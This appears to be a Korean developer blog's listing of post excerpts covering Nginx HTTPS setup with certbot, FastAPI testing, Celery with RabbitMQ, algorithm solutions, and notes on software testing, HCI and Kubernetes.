‘unreachable’ block 제거 Loop Optimization Loop는 한번 optimize하면 효과가 크다 Loop unrolling : 반복문을 풀어서 반복 횟수를 줄임 Loop invarient : 매번 동일한 값을 내는 문장을 반복문 밖으로 빼냄 Count up to zero : i를 감소하는 반복문으로 변경 (i를 0과 비교하는 것이 n과 비교하는 것보다 빠름) Dataflow Analysis + Optimization Dataflow Analysis 프로그램 내에 각 data 값들이 생성/소멸되는 정보를 모으는 것 Reaching Definition Analysis definition : 해당 변수가 assign되는 것 reach : definition d가 특정 위치 p에 도달한다 kill : definition d의 두개의 포인트사이에서 다른 definition이 존재한다 GEN/KILL GEN: 블록 내에서 생성된 definition KILL: 블록 내에서 소멸된 definition IN/OUT IN : 이전 블록의 OUT의 합집합 OUT : IN에서 GEN을 더하고 KILL을 뺀 것

Nginx에서 HTTPS 설정하기

🔨 개발 도구

배경 테커 부트캠프를 진행중이다. 모든 프로그램은 docker-compose로 구성되어 있다. AWS EC2에 구동 중인 서버에 HTTPS를 적용하려고 한다. 도메인 구매 없이 시도를 했으나, AWS에서 제공하는 도메인으로 SSL 인증서를 발급받을 수 없었다. 따라서, 도메인을 구매하고, Route 53을 통해 도메인을 연결했다. 목표 Nginx를 이용하여 HTTPS를 적용한다. 방법 1. docker-compose.yml에 certbot 컨테이너를 추가한다. 1certbot: 2 image: certbot/certbot 3 container_name: certbot 4 volumes: 5 - ./certbot/conf:/etc/letsencrypt 6 - ./certbot/www:/var/www/certbot 7 depends_on: 8 - nginx 9 10 # certbot을 무한루프로 돌리기 위해 사용 11 entrypoint: "/bin/sh -c 'trap exit TERM; while :; do sleep 6h & wait $${!}; done;'" 2. nginx.conf를 수정한다. # certbot을 사용하기 위한 설정 location /.well-known/acme-challenge/ { allow all; root /var/www/certbot; } 3. certbot 컨테이너를 활용해서 SSL 인증서를 발급받는다. 1docker exec -it certbot certbot certonly \ 2 # 웹 루트 방식으로 인증서를 생성 3 --webroot \ 4 # 웹 서버의 웹 루트 디렉터리 경로를 지정 5 --webroot-path=/var/www/certbot \ 6 # 인증서 갱신 및 중요한 알림을 받을 이메일 주소를 지정 7 --email {이메일 주소} \ 8 # Let's Encrypt 서비스 약관에 동의 9 --agree-tos \ 10 # EFF(Electronic Frontier Foundation) 뉴스레터를 받지 않도록 설정 11 --no-eff-email \ 12 # SSL 인증서를 생성할 도메인 이름을 지정 13 -d {도메인 이름} 4. Nginx 웹 서버와 함께 사용할 SSL 설정 파일을 다운로드 다운 받은 후 파일을 알맞은 위치로 이동시킨다. 해당 프로젝트에서는 /etc/letsencrypt/로 이동시켰다. 1sudo curl -s https://raw.githubusercontent.com/certbot/certbot/master/certbot-nginx/certbot_nginx/_internal/tls_configs/options-ssl-nginx.conf > "./options-ssl-nginx.conf" 2 3sudo curl -s https://raw.githubusercontent.com/certbot/certbot/master/certbot/certbot/ssl-dhparams.pem > "./ssl-dhparams.pem" 5. nginx.conf를 수정한다. 필요한 부분만 추가하였다. server { listen 80; charset utf-8; server_name {도메인 이름}; # HTTP 요청을 HTTPS로 리다이렉트 location / { return 301 https://$host$request_uri; } } server { listen 443 ssl; charset utf-8; server_name { 도메인 이름 }; # SSL 인증서 설정 ssl_certificate /etc/letsencrypt/live/api.forest-of-thoughts.site/fullchain.pem; # SSL 인증서 키 설정 ssl_certificate_key /etc/letsencrypt/live/api.forest-of-thoughts.site/privkey.pem; # SSL 설정 파일 포함 include /etc/letsencrypt/options-ssl-nginx.conf; # Diffie-Hellman 키 설정 ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; } 6. nginx 컨테이너 설정을 수정한다. 1nginx: 2 image: nginx:stable 3 ports: 4 - "80:80" 5 - "443:443" 6 volumes: 7 - ./nginx.conf:/etc/nginx/nginx.conf 8 - ./certbot/conf:/etc/letsencrypt 9 - ./certbot/www:/var/www/certbot 해 회고 보통 crontab을 활용해서 자동으로 인증서 갱신을 받는다. 이번에는 프로젝트 기간이 길지 않아서, 수동으로 진행했다. 다음에는 자동으로 인증서 갱신을 받는 것도 도전해보자.

Fastapi - 통합테스트 In-Memory DB에서 테이블이 없다는 문제

🐍 Python

상황 테커 부트캠프에서 팀프로젝트를 진행 중이다. 단위테스트 코드는 작성이 완료되었고, 통합테스트 코드를 작성 중이다. sqlite in-memory db를 사용해서 테스트 중인데, 테이블이 없다는 에러가 발생했다. 테스트 전에 테이블을 생성하는 코드가 실행됨에도 불구하고, 에러가 발생한다. 인메모리가 아닌 파일로 저장하는 방법을 사용하면 에러가 발생하지 않는 것을 보고 문제의 원인을 파악할 수 있었다. 코드 1from database import Base, engine 2from fastapi.testclient import TestClient 3 4from main import app 5from models import * 6 7# 테이블을 생성하는 코드이다 8Base.metadata.create_all(bind=engine) 9 10client = TestClient(app) 11 12 13class TestUserApi: 14 15 def test_create_user(self): 16 test_nickname = "test_nickname" 17 # 아래 요청을 처리하는 코드에서 오류가 발생한다 18 response = client.post( 19 "/api/users", 20 json={"nickname": test_nickname}, 21 ) 22 assert response.status_code == 200 23 assert response.json()["nickname"] == test_nickname 원인 테이블을 생성할때 만들어지는 세션과 TestClient가 요청을 처리할 때 사용하는 세션이 다르다. 해결 방법 TestClient내에 get_db() 함수를 임의로 주입한다 데이터베이스를 연결할때, 단일 세션을 사용하도록 한다. 1from database import Base, engine, get_db 2from sqlalchemy.orm import sessionmaker 3from fastapi.testclient import TestClient 4 5from main import app 6from models import * 7 8Base.metadata.create_all(bind=engine) 9 10client = TestClient(app) 11 12# 테스트에서 사용할 세션을 생성한다 13TestingSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine) 14 15 16Base.metadata.create_all(bind=engine) 17 18# get_db() 함수를 재정의한다 19def override_get_db(): 20 try: 21 db = TestingSessionLocal() 22 yield db 23 finally: 24 db.close() 25 26# get_db() 함수를 재정의한 함수를 주입한다 27app.dependency_overrides[get_db] = override_get_db 28 29 30class TestUserApi: 31 32 def test_create_user(self): 33 test_nickname = "test_nickname" 34 response = client.post( 35 "/api/users", 36 json={"nickname": test_nickname}, 37 ) 38 assert response.status_code == 201 39 assert response.json()["nickname"] == test_nickname 1engine = create_engine( 2 os.getenv("DATABASE_URL"), 3 # sqlite를 사용할 때, 여러 스레드에서 연결이 가능하도록 설정한다 4 connect_args={"check_same_thread": False}, 5 # 단일 세션을 사용하도록 설정한다 6 poolclass=StaticPool, 7)

백준 - 10844 : 쉬운 계단 수 (S1)

🧠 Algorithm

접근이 어려워 인터넷을 참고했다. 코드는 보지 않았다. 수의 길이가 i이면서 마지막 숫자가 j인 계단 수의 개수를 저장하는 것이 핵심이다. 점화식은 L[i][j] = L[i-1][j-1]+L[i-1][j+1] 이다. 1N = int(input()) 2L = [[0]*12 for _ in range(100)] 3L[0] = [0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0] 4 5for i in range(1, N): 6 for j in range(1, 11): 7 L[i][j] = L[i-1][j-1]+L[i-1][j+1] 8 9print (sum(L[N-1])%1000000000)

프로그래머스 - 연속 수열 합의 개수 (L2)

🧠 Algorithm

첫번째 풀이 1def solution(elements): 2 result = set() 3 length = len(elements) 4 elements = elements*2 5 for i in range(length): 6 temp = 0 7 for j in range(length): 8 temp += elements[i+j] 9 result.add(temp) 10 11 return len(result) 개선한 풀이 1def solution(elements): 2result = set() 3length = len(elements) 4for i in range(length): 5 temp = 0 6 for j in range(length): 7 temp += elements[(i+j)%length] 8 result.add(temp) 9 10return len(result) 문제 주어진 정수 배열로 원형 수열을 만든다 원형 수열의 연속된 부분 수열의 합의 개수를 구하여라 TC input [7,9,1,1,4] ouput 18 해결방법 첫번째 풀이에서는 배열을 2배로 늘려서 원형 수열을 만들었다 개선한 풀이에서는 mod 연산을 이용해서 원형 수열을 만들었다 set를 이용해서 중복을 제거하고 원소 개수를 반환하였다

프로그래머스 - 이모티콘 할인행사 (L2)

🧠 Algorithm

1result = [] 2 3def dfs(size, percent, users, emoticons): 4 global result 5 6 if len(percent) == size: 7 temp = [0] * len(users) 8 for i in range(size): 9 for j in range(len(users)): 10 if percent[i]*100 >= users[j][0]: 11 temp[j] += emoticons[i]*(1-percent[i]) 12 serviceNum = 0 13 income = 0 14 for i in range(len(users)): 15 if temp[i] >= users[i][1]: 16 serviceNum += 1 17 else: 18 income += temp[i] 19 result.append ((serviceNum, income)) 20 return 21 22 for i in [0.1, 0.2, 0.3, 0.4]: 23 dfs(size, percent+[i], users, emoticons) 24 25 26def solution(users, emoticons): 27 dfs(len(emoticons), [], users, emoticons) 28 result.sort(reverse=True) 29 return list(result[0]) 문제 카카오톡 사용자 n명의 구매 기준을 담은 2차원 정수 배열 users, 이모티콘 m개의 정가를 담은 1차원 정수 배열 emoticons가 주어진다 각 사용자는 일정 비율 이상 할인하는 이모티콘을 구매한다 각 사용자는 구매한 이모티콘 가격의 합이 일정 기준을 넘으면 이모티콘 구매를 모두 취소하고 이모티콘 플러스 서비스에 가입한다 할인율은 10%, 20%, 30%, 40% 중 하나이다 이모티콘 플러스 서비스에 가입자를 늘리는 것을 최우선으로 하며, 이모티콘 판매액을 늘리는 것을 두번째 목표로 했을 때의 이모티콘 플러스 서비스 가입자 수와 이모티콘 매출액을 1차원 정수 배열에 담아 반환하라 TC input users: [[40, 10000], [25, 10000]], emoticons: [7000, 9000] ouput [1, 5400] 해결방법 dfs를 이용해서 모든 경우의 수를 완전 탐색하여 해결하였다 할인율의 경우의 수가 4가지 밖에 없어서 가능했던 일이다

프로그래머스 - 할인 행사 (L2)

🧠 Algorithm

1from collections import deque 2 3def solution(want, number, discount): 4 want_dict = dict() 5 answer = 0 6 7 for i in range(len(want)): 8 want_dict[want[i]] = number[i] 9 10 for i in discount[:10]: 11 if i in want_dict: 12 want_dict[i] -= 1 13 14 for i in range(0, len(discount)-9): 15 if all(map(lambda x: x <= 0, want_dict.values())): 16 answer += 1 17 18 if discount[i] in want_dict: 19 want_dict[discount[i]] += 1 20 if i+10 < len(discount) and discount[i+10] in want_dict: 21 want_dict[discount[i+10]] -= 1 22 23 return answer 문제 XYZ마트에서는 회원에 가입하면 10일동안 할인혜택을 받는다 할인하는 제품은 하루에 하나씩만 구매할 수 있다 정현이가 원하는 제품 리스트, 원하는 제품의 수량 리스트, 마트에서 할인하는 제품 리스트가 주어진다 정현이가 원하는 제품을 모두 할인 받을 수 있는 회원 등록 날짜의 수를 구하라 TC input want: [“banana”, “apple”, “rice”, “pork”, “pot”] number: [3, 2, 2, 2, 1] discount: [“chicken”, “apple”, “apple”, “banana”, “rice”, “apple”, “pork”, “banana”, “pork”, “rice”, “pot”, “banana”, “apple”, “banana”] ouput 5 해결방법 원하는 제품을 dict로 만든다 (key: 제품이름, value: 수량) 원하는 제품 - 첫날에 가입했을 때 할인하는 제품을 계산한다 반복문을 순회하면서 할인하는 제품을 빼고, 할인하는 제품을 더한다 (제품이 더 필요하면 양수, 덜 필요하면 음수) 0보다 큰 수가 있으면 answer에 1을 더한다

소프트웨어 테스트

🎸 기타

내부 구조를 고려하는지 여부에 따른 테스트의 분류 블랙박스 테스트 화이트박스 테스트 목적과 범위에 따른 테스트의 분류 수행 순서에 따라 작성해보았다. 1. 단위 테스트 (Unit Test) 가장 작은 단위 수준(모듈, 함수, 클래스)의 테스트 2. 통합 테스트 (Integration Test) 모듈을 통합하는 과정에서, 각 모듈 간의 인터페이스와 관련된 결함이 있는지 테스트 Top-down : 상위 모듈부터 하위 모듈로 통합하며 테스트 Bottom-up : 하위 모듈부터 상위 모듈로 통합하며 테스트 Big-bang : 모든 모듈을 한번에 통합하여 테스트 Threads : 중요 모듈을 먼저 구현하고 통합한 뒤, 보조적인 모듈을 구현 후 통합하는 방식 3. 시스템 테스트 (System Test) 전체 시스템이 요구사항을 만족하는지 테스트 (HW+SW) 주요 관점 기능 테스트 비기능 테스트 : 성능, 안정성, 보안, 사용성 등 기타 비기능적인 측면을 평가 E2E 테스트 회귀 테스트 호환성 테스트 : 다양한 환경에서 올바르게 작동하는지 테스트 4. 인수 테스트 (Acceptance Test) 사용자 관점에서 요구사항을 만족하는지 테스트 실행 여부에 따른 테스트의 분류 정적 테스트 동적 테스트 내부 구조를 고려하는지 여부에 따른 테스트의 분류 블랙박스 테스트 화이트박스 테스트 정적 테스트 SW를 실행하지 않고 테스팅하는 기법 리뷰 여러 전문가들이 모여 코드를 포함한 SW 개발 및 산출물을 검토하고 테스팅하여 결함을 검출하는 방법 Inspection 전문적인 inspection team이 정형화된 방식으로 defect를 찾는 리뷰 기법 Planning -> Overview -> Preparation -> Meeting(Inspection) -> Rework -> Follow-up Peer Review (Technical Review) 개발팀이 주도하여 직접 모여 수행하는 리뷰 기법 PL 또는 TL이 주도하여 리뷰 대상을 선정, 개발자에게 리뷰 요청 Walkthrough Peer Review와 유사하나 문서 작성자가 주도하는 가벼운 만남 형태 정적 분석 (무기체계SW 개발 및 관리 매뉴얼 기준) 코딩 규칙 MISRA-C MISRA-C++ C# Coding conventions Code conventions for the Java Programming Language CWE(Common Weakness Enumeration) 점검 일반적인 SW와 HW의 보안 약점을 나열한 공식적인 리스트 CWE-658 : C언어 CWE-659 : C++ CWE-660 : Java Code Metric 점검 Cyclomatic Complexity : 제어 흐름 그래프의 복잡도 Number of call levels : 조건문 중첩의 깊이 Number of function parameters Number of calling function : 함수가 몇 번 호출되는가 Number of called functions : 함수를 몇 번 호출하는가 Number of Executable code lines 동적 테스트 명세 기반 테스트 (블랙박스 기법) 동등 분할 경계값 분석 결정 테이블 테스트 상태 전이 테스트 분류 트리 기법 조합 테스트 시나리오 테스트 … 구조 기반 테스트 (화이트박스 기법) Statement Coverage Decision Coverage (Branch Coverage) Condition Coverage MC/DC Coverage Path Coverage Fuzzing 테스트 유효한, 예상치 않은 값들을 무작위로 대입하는 테스트 기법 변형 기반 Fuzzing (Dumb Fuzzing) 입력 샘플을 Fuzzing 도구에 제공, Fuzzing 도구가 이를 변형시켜가면서 테스트 장점 쉽고 빠르게 구현이 가능 입력 구조에 대한 분석을 하지 않아도 됨 단점 미리 정의된 구조가 필요하거나 체크섬이 포함되어 있는 경우 유효한 입력을 생성하는데 어려움이 존재 생성 기반 Fuzzing (Smart Fuzzing) 대상 시스템에 입력시킬 데이터를 Fuzzing 도구가 생성 장점 더 높은 Coverage로 이어지는 테스트케이스를 생성 단점 입력 모델에 대한 이해도가 선행되어야 함 구현 난이도가 높음 회귀 테스트 (Regression Test) 회귀 테스트는 소프트웨어의 새로운 버전에서 기존 기능이 손상되지 않았는지 확인하는 테스트 회귀 버그(Regression Bug) : 이전에 존재하지 않던 버그가 기능 수정이나, 새로운 기능 추가로 인해 새로운 버전에서 발생하는 버그 회귀 테스트는 반복적인 작업이 많아 자동화 도구를 사용하여 테스트하는 것이 효율적 회귀 테스트의 종류 Retest all 기법 : 기존의 모든 테스트 케이스를 다시 실행하여 전체 시스템을 검증하는 방법 Selective retest 기법 : 변경된 부분에 대해서만 선택적으로 테스트를 수행하는 방법 Prirority 기법 : 시스템의 핵심 기능을 중심으로 우선순위를 정하여 테스트하는 방법 FIRST 원칙 단위 테스트의 5원칙 Fast : 테스트는 빨라야 한다. Independent : 테스트는 서로 독립적이어야 한다. Repeatable : 테스트는 어떤 환경에서도 반복 가능해야 한다. Self-validating : 테스트는 성공 또는 실패여야 한다. (bool 값) Timely : 테스트는 적시에 작성해야 한다. (실제 코드를 구현하기 전에 작성)

[모각코23하계] 02 : 결과

👨‍💻 모각코

1. 프로그래머스 한 문제 풀기 프로그래머스 - 당구 연습 (L2) 🧠 Algorithm <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1</span><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">solution</span>(m, n, startX, startY, balls): </span 2. Java의 Testing 공부하기 Spring 개념 - Testing 🍃 Spring <h2 id="unit-test-단위-테스트">Unit Test (단위 테스트)</h2> <blockquote> <p>가장 작은 단위 (클래스 또는 메소드)를 고립시켜서 테스트하는 방식</p> </blockquote> <h3 id="관련-용어">관련 용어</h3> <h4 id="sut-sytem-under-test">SUT (Sytem Under Test)</h4> <blockquote> <p>테스트하고자하는 주요 대상이 되는 Unit</p> </blockquote> <h4 id="doc-depended-on-component">DOC (Depended On Component)</h4> <blockquote> <p>SUT가 의존하는 객체</p> </blockquote> <h4 id="test-double">Test double</h4> <blockquote> <p>DOC를 대신해 줄 수 있는 객체</p> </blockquote> <ul> <li>Test double의 종류 : Moc

[모각코23하계] 02 : 계획

👨‍💻 모각코

오늘의 목표 프로그래머스 한 문제 풀기 Springboot Testing 공부하기

[모각코24하계] 05 : 계획

👨‍💻 모각코

오늘의 목표 Nginx에서 HTTPS 설정하기

Fastapi, RabbitMQ, Celery 연동

🐍 Python

배경 테커 부트캠프에서 팀프로젝트를 진행 중이다. 웹소켓을 통해 클라이언트로부터 받은 데이터를 gpt를 통해 처리하고, 결과를 다시 클라이언트로 보내는 서비스를 구현하고 있다. 여러 사용자의 요청을 원활하게 처리하기 위해 분산 비동기 시스템을 구축하려고 한다. 목표 Fastapi, RabbitMQ, Celery를 각자 docker 컨테이너로 구동시키고 연동한다. docker-compose.yml 1version: '3' 2 3services: 4 rabbitmq: 5 image: rabbitmq:3 6 ports: 7 - "5672:5672" # RabbitMQ의 AMQP 포트 8 - "15672:15672" # RabbitMQ 관리 인터페이스 포트 9 volumes: 10 - rabbitmq_data:/var/lib/rabbitmq 11 expose: 12 - "5672" 13 - "15672" 14 15 celery_worker: 16 build: 17 context: . 18 dockerfile: Dockerfile.worker 19 command: celery -A utils.celery_worker worker --loglevel=info 20 working_dir: /app 21 volumes: 22 - ./app/utils:/app/utils 23 environment: 24 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 25 depends_on: 26 - rabbitmq 27 28 celery_beat: 29 image: celery:4 30 command: celery -A celery_beat beat --loglevel=info 31 working_dir: /app 32 environment: 33 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 34 volumes: 35 - ./app/utils:/app 36 depends_on: 37 - rabbitmq 38 39 web: 40 image: python:slim 41 working_dir: /app 42 # interactive mode 43 stdin_open: true 44 # tty mode 45 tty: true 46 environment: 47 - CELERY_BROKER_URL=amqp://guest:guest@rabbitmq:5672// 48 volumes: 49 - ./app:/app 50 ports: 51 - "8000:8000" 52 depends_on: 53 - rabbitmq 54 - celery_worker 55 - celery_beat 56 57volumes: 58 rabbitmq_data: Celery worker에만 Dockerfile.worker를 이미지로 사용한 이유 worker에 추가적으로 python 라이브러리를 설치해야함 Celery 공식 도커 이미지가 deprecated 되었음. Fastapi는 시간 관계상 따로 이미지를 만들지 않고 python:slim 이미지를 사용했다. Dockerfile.worker 1FROM python:slim 2 3# 필요한 패키지 설치 4# ffmpeg가 필요해서 추가하였다 5RUN apt-get update && \ 6apt-get install -y --no-install-recommends gcc libpq-dev ffmpeg && \ 7rm -rf /var/lib/apt/lists/* 8 9# 필요한 파이썬 패키지 설치 10COPY requirements_celery_worker.txt ./ 11RUN pip install --no-cache-dir -r requirements_celery_worker.txt celery_worker.py 1import os 2from celery import Celery 3 4broker_url = os.getenv('CELERY_BROKER_URL') 5app = Celery('worker', broker=broker_url, backend="rpc://") 6 7@app.task 8def add(x, y): 9 return x + y broker_url은 RabbitMQ의 AMQP 주소를 의미한다. backend는 결과를 받기 위한 백엔드로 RabbitMQ를 사용한다. Celery worker 사용 방법 1from celery_worker import add 2 3# task를 비동기로 실행 4result = add.delay(4, 4) 5 6# apply_async는 delay와 동일한 기능 수행 7# delay와 달리 추가로 여러 옵션을 설정 가능 8result = add.apply_async((4, 4)) 9 10# 결과를 받기 위해 get()을 사용, 블로킹 호출 11result.get() 12 13# 작업이 완료되었는지 확업 14result.ready() 15 16# 작업이 실패했는지 확인 17result.successful() 18# or 19result.failed() 20 21# 작업의 상태 확인 (PENDING, STARTED, SUCCESS, FAILURE) 22result.state()

인간-컴퓨터 상호작용

🏫 학과 공부

Design Techniques Contextual Inquiry 사용자의 환경에서 사용자의 행동을 관찰 Design Funnel 아이디어를 확장함과 동시에 축소 시킴으로서 결과 도출 Double Diamond Discover -> Define -> Develop -> Deliver Storyboarding 시나리오를 그림으로 표현 Prototyping 디자인을 표현하는 소프트웨어로 구현 종류: Low-fidelity(충실도가 낮음), High-fidelity(충실도가 높음) User Testing In-lab vs On-site Moderated vs Unmoderated : Exploratory vs Assessment Presentation & Communication Needfinding (요구사항 도출) 용어 UI (User Interface) 제품의 시각적인 요소 UX (User Experience) 제품을 사용하는 사용자가 느끼는 경험 CX (Customer Experience) 고객이 제품을 사용하는 과정에서 느끼는 전반적인 경험, 상품 또는 서비스의 구매, 사용 여부를 결정짓는 요소 SD (Service Design) 서비스를 디자인하는 것 HCI (Human-Computer Interaction) 여러 구성요소를 조합하여 사용자에게 최고의 경험을 제공하기 위해 선택, 제작, 결합하는 것 SRS (Software Requirement Specification) 소프트웨어 요구사항 명세서 User Requirements, Functional Requirements, Interface Requirements, Performance Requirements… SRS를 문서화하기전에 사용자를 이해하는 것이 중요 사용자에 대한 이해 다양한 사용자의 특성을 이해 : 역할, 개성 이해관계자(stakeholders)를 고려 First degree : 직접적으로 제품을 사용하는 사람 Second degree : 제품의 결과에 영향을 받는 사람 Third degree : 서비스를 설치, 배포하는 사람 또는 기반 시스템 사용자 목적 파악 Identify the goals involved in the problem Decompose them into subtasks Abstract into goals Contextual Inquiry (상황적 조사) Context : 사용자의 환경 관찰, 추상화 금지 Partnership : 사용자에게 공감, 사용자에게 행동과 그 이유를 질문 Interpretation : 사용자에 대한 해석을 사용자에게 공유, 사용자의 피드백을 받음 Focus : 목표에 집중 The master-apprentice model (도제식 모델) : 사용자(선생), 관찰자(학생) Contextual Inquiry가 적절하지 않을 때 Longidual study : 사용자의 행동을 장기간 관찰해야할 때 Sporadic behavior : 사용자의 행동이 불규칙할 때 Large target : 사용자의 범위가 광범위 할 때 Diary Study 사용자가 일상적으로 하는 일을 기록하는 것 ESM (Experience Sampling Method) 순간적인 활동과 경험에 초점을 맞춰 기록 EMA (Ecological Momentary Assessment) 심리적 현상의 궤적, 분산, 변동, 역학에 초점을 맞춰 기록 Survey Participatory Design 사용자가 직접 디자인에 참여하는 것 Affinity Diagram (유사도 다이어그램) 수집한 데이터를 분류하는 것 Persona 사용자를 대표하는 가상의 인물 Learnability 새로운 UI를 배우는 방법 Learning by Doing Learning by Watching Recognition vs Recall Recognition : 시각적 요소를 보고 인지하는 것 Recall : 기억을 통해 인지하는 것 Interaction style Command Language 인공 언어의 명령어를 입력 Self Disclosure (자기 공개) : 사용 가능한 명령어를 시각적으로 표현 Menus and Forms Direct Manipulation 즉각적으로 반응 시각적 표현을 통해 상호작용 Speech Dialog Mental Model 사람들이 자기 자신, 다른 사람, 환경, 자신이 상호작용하는 사물들에 대해 갖는 모형 관찰, 인터뷰, 작업 분석이 필요하다 Conceptual Model 제품이 어떠한 원리나 방식으로 작동하는지에 대한 이해 Content strategy : 각 페이지에 나타나는 내용의 규칙이나 개념이 존재하는가? Channel starategy : 일관적인 경험, 지속적인 경험, 상호 보완적인 경험을 만들어내는가? Interaction models : 보편적인 패턴을 사용했는가?

쿠버네티스 및 MSA 특강 1일차 : 클라우드 컴퓨팅 개념 및 역사

🏫 학과 공부

클라우드 제대로 이해하기 클라우드란 개인이 가진 단말기를 통해서는 주로 입/출력 작업만 이루어지고, 정보분석 및 처리, 저장, 관리 유통 등의 작업은 클라우드라고 불리는 제3의 공간에서 이루어지는 컴퓨팅 시스템 형태 클라우드 컴퓨팅이 필요한 이유 비용절감 속도향상 확장성 생산성 클라우드 컴퓨팅 서비스모델 Infrastructure as a Service (IaaS) : IT리소스에 대한 유연성과 관리 제어 기능을 제공 GCE, AWS, Azure Platform as a Service (Paas) : 빌드 및 배포를 위한 환경이 사용자에게 제공 Openshift, Github, docker, kubernetes Software as a a Service (Saas) : 완전한 제품 제공 GShift 비교 On-site < Iaas < Paas < Saas 웹호스팅 vs 서버호스팅 vs 클라우드 차이점 웹호스팅 : 호스팅 업체의 서버 중 일부만 임대하여 사용 홈페이지 운영 서버호스팅 : 호스팅 업체의 물리 서버를 단독으로 임대/구매하여 사용 ERP, 인트라넷 등 운영 클라우드 단기 이벤트 등 유동적인 서비스 운영 On-premise란 자체적으로 보유한 전산실에 직접 설치해 운영하는 방식 Private, Public, Hybrid Cloud 비교 Private cloud 인프라가 조직 전용인 클라우드 컴퓨팅 모델 해당 사용자 또는 그룹의 방화벽으로 보호된다 Public cloud 최종 사용자가 소유하지 않은 IT인프라에서 생성되는 클라우드 환경 Alibaba Cloud, AWS, GCP, IBM Cloud, Microsft Azure 등이 있다 Hybrid cloud 단일 IT환경 처럼 보이지만 실제로는 여러 환경이 연결된 형태 업체별 클라우드 시장 GCP, Azure, AWS 클라우드 관련 직군 클라우드 엔지니어 클라우드 시스템 엔지니어 클라우드 인프라 보안 담당자 데브옵스 클라우드 백엔드 개발자

쿠버네티스 및 MSA 특강 3일차 : 모니터링 시스템 구축 실습 (ELK), kubernetes

🏫 학과 공부

모니터링 시스템 구축 실습 (ELK) ELK란 ELK는 Elasticsearch, Logstash 및 Kibana : 오픈 소스 프로젝트 세 개의 머리글 Elasticserach는 검색 및 분석 엔진 Logstash는 여러 소스에서 동시에 데이터를 수집하여 변환한 후 Elasticsearch 같은 “stash"로 전송하는 서버 사이드 데이터 처리 파이프라인 Kibana는 사용자가 Elasticsearch에서 차트와 그래프를 이용해 데이터를 시각화 Kibana Elasticsearch에 있는 데이터를 시각화할 수 있도록 하는 웹 브라우저 기반의 시각화 플랫폼 Elasticsearch에 있는 인덱스의 패턴을 찾아서, 데이터를 확인하거나, 시각화할 수 있도록 한다 Logstash 서버 데이터를 수집, 변환, 전송하는 데이터 처리 파이프라인으로, Jruby(JVM 기반 Ruby)로 개발되었다 데이터 처리 과정은 input, filter, out의 세 단계로 구성된다 Docker Compose Docker Compose alias 설정 1alias dco="docker-compose" 2... Docker-Compose 파일 docker-compose.yml version:‘3.2’ // docker-compose file format / 각 버전 별로 제공 api가 다르다 services: // container 서비스 그룹 ports: // 포트 지정 Host Port : Container Port depends_on: // 서비스간 의존관계 설정 ELK 실습 docker-compose 컨테이너 생성 및 실행 docker-compose up docker-compose 컨테이너 정지 및 삭제 docker-compose down docker-compose 컨테이너 목록 조회 docker-compose ps docker-compose 컨테이너 로그 조회 docker-compose logs ElasticSearch 확인 open http://localhost:9200/_cat/indices Kibana 확인 http://localhost:5601/app/kibana container 접속 docker-compose exec logstash sh 참고 : PoC (Proof of Concept) 새로운 프로젝트가 실제로 실현 가능성이 있는가, 효과와 효용, 기술적인 관점에서부터 검증을 하는 과정 Kubernetes 이해하기 Kubernetes가 필요한 이유 대부분의 어플리케이션 : 하나의 프로세스 또는 몇개의 서버에 분산된 프로세스로 실행되는 거대한 모놀리스 이러한 시스템은 릴리즈 주기가 느리고 업데이트가 자주 일어나지 않음 개발자는 전체 릴리즈 주기가 끝날때 마다 전체 시스템을 패키징하고 운영팀은 이를 배포하고 모니터링한다 운영팀은 하드웨어 장애가 발생하면 이를 사용 가능한 서버로 직접 마이그레이션 한다 거대한 모놀리스 레거시 애플리케이션은 점점 MSA로 더 작은 구성 요소로 세분화 마이크로 서비스는 서로 분리돼 있기 때문에 개별적으로 개발, 배포, 업데이트, 확장 가능 배포 가능한 구성요소가 많아지고 데이터센터 규모가 커지면서 전체 시스템을 구성, 관리, 유지하기는 쉽지 않은 일 리소스 활용을 높이고 하드웨어 비용을 낮추고 각 구성요소를 배치할 위치를 파악하기에 너무 어려움 수동으로 불가능 이런 구성요소를 자동으로 스케쥴링하고 구성, 관리, 장애처리를 포함하는 자동화가 필요 => 쿠버네티스가 필요한 이유 마이크로서비스 배포 단점 각 구성 요소가 많아지면 배포 조합의 수 뿐만 아니라 구성 요소간의 상호 종속성 수가 훨씬 많아지므로 배포 관련 결정이 어렵다 여러 프로세스와 시스템에 분산돼 있기 때문에 실행 호출을 디버깅하고 추적하기 어렵다 Kubernetes 개념 구글은 Borg라는 시스템을 개발해 애플리케이션 개발자와 시스템 관리자가 수천 개 어플리케이션과 서비스를 관리하는데 도움을 준다 구글 10년간 경험을 바탕으로 2014년에 kubernetes 프로젝트를 오픈소스화 한다 별명은 k8s이다 컨테이너를 쓰는 이유 경량, 이식성 및 플랫폼 독립성, 최신형 개발 및 아키텍처 지원, 활용도 향 Kubernetes 아키텍처 마스터 노드 : 전체 쿠버네티스 시스템을 제어하고 관리하는 쿠버네티스 컨트롤 플레인을 실행 워커 노드 : 실제 배포되는 컨테이너 애플리케이션을 실행 kubernetes 실습 1 minikube start kubectl run ntest --image=develo0100/node --port 8080 curl localhost:8080 kubernetes pod 소개 쿠버네티스는 개별 컨테이너들을 직접 다루지 않고, 함께 배치된 다수의 컨테이너라는 개념을 사용한다 kubernetes 백그라운드 동작 도커 데몬이 실행 중인 다른 워커 노드에서 컨테이너 이미지로 접근하려면 도커허브에 이미지가 올려져있어야 한다 kubectl 명령어를 실행하면 쿠버네티스 API 서버로 kubernetes 워크로드 용어 Daemon set Deployment Job Pod Replica set Replication controller

🍃 Spring

